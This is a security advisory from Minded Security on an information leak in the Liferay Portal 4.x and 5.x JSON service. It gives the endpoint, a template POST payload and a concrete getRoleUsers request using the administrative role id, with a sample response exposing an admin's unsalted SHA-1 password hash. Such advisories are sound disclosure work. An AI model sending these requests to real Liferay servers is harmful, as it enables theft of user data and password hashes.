Code
Advisories
#MSA251009
Liferay Json Service Multiple Information Leakage
Tested Versions:
Liferay Portal 4.x and 5.x
Minded Security ReferenceID:
MSA251009
Credits:
Discovered by
Stefano Di Paola of Minded Security
stefano.dipaola [_at_] mindedsecurity.com
Reference:
http://issues.liferay.com/browse/LPS-9555
Severity:
High: it is possible to access functionalities and
sensitive users’ information.
Solution:
Grant access only to standard web functionalities and prevent direct
access to JSON service.
Summary
It is possible to access several classes and static methods and obtain several sensitive information.
Analysis
It is possible to access several methods making a direct request to the following URL
https://<yoursite>/c/portal/json_service
via POST with a payload like the following:
callback=<JavascriptFunctionName>&serviceClassName=
com.liferay.portal.service.http.<ClassName>JSON&serviceMethodName=<
StaticMethodName>¶meter1=<Value>¶meter2=<Value>
&serviceParameters=parameter1,parameter2...etc
An authenticated user can perform a request like the previous to obtain an answer from the server like the following:
HTTP/1.1 200 OK
FunctionNameJs({response JSON object});
It was possible to analize the accessible methods and it was noted that several classes and static methods are accessible, but a lot of them perform access control.
However, there are several methods that return information about users that do not perform administrative access control or that are allowed to logged users. This methods can be used to obtain sensitive information.
For example, an attacker could use the method “getRoleUsers” in order to obtain internal Liferay passwords in SHA-1 format coded in Base64 making the following request (administrative role id is 10107).
POST /c/portal/json_service HTTP/1.1
callback=ss&
serviceClassName=com.liferay.portal.service.http.UserServiceJSON
&serviceMethodName=getRoleUsers&roleId=10107&
screenName=getRoleUsers&serviceParameters=roleId
HTTP/1.1 200 OK
ss([{"portraitId":0,"agreedToTermsOfUse":true,"passwordEncrypted":true,
"screenName":"liferayadmin","password":"yg\/MD******************hs=",
"passwordReset":false,"defaultUser":false,
"lastFailedLoginDate":"1253900971","userId":10133....
As it is possible to see, inside the server answere there is the object related to
the admin user with his own password in SHA-1 format (without salt).
Disclosure Timeline
25/10/09 Issue found
12/05/10 Reported to Vendor
Disclaimer
The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
Any use of this information is at the user’s own risk. Permission is hereby granted for the redistribution of this Alert electronically. It is not to be edited in any way without express consent of Minded Security Research Lab. If you wish to reprint the whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com for permission.
